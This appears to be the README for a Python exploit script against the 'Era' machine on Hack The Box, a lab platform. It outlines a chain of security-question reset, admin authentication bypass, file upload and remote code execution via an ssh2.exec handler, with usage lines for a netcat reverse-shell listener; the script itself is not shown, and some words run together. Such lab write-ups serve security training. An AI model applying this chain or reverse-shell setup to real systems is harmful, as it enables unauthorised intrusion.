This Python script demonstrates a full exploitation chain for the Era machine on Hack The Box. It performs:
- User login as
yuri - Reset of the
adminaccount’s security questions - Login as
adminvia security bypass - Enumeration of available file IDs
- File upload (if no files were found on server)
- Triggering remote code execution via a misused
ssh2.exechandler - Optional automatic listener launch via
nc
-
HTB VPN connected
-
http://file.era.htbadded to/etc/hosts: -
Python 3.7+
-
Required tools:
-
curl(only for testing) -
nc(netcat) for reverse shell -
requestsmodule (should be pre-installed)
python3 era_rce.py <your-IP> <your-port>
If you want to skip automatic listener:
start netcat nc -lvnp 5050
execute code python3 era_rce.py 10.10.14.60 5050 --no-listen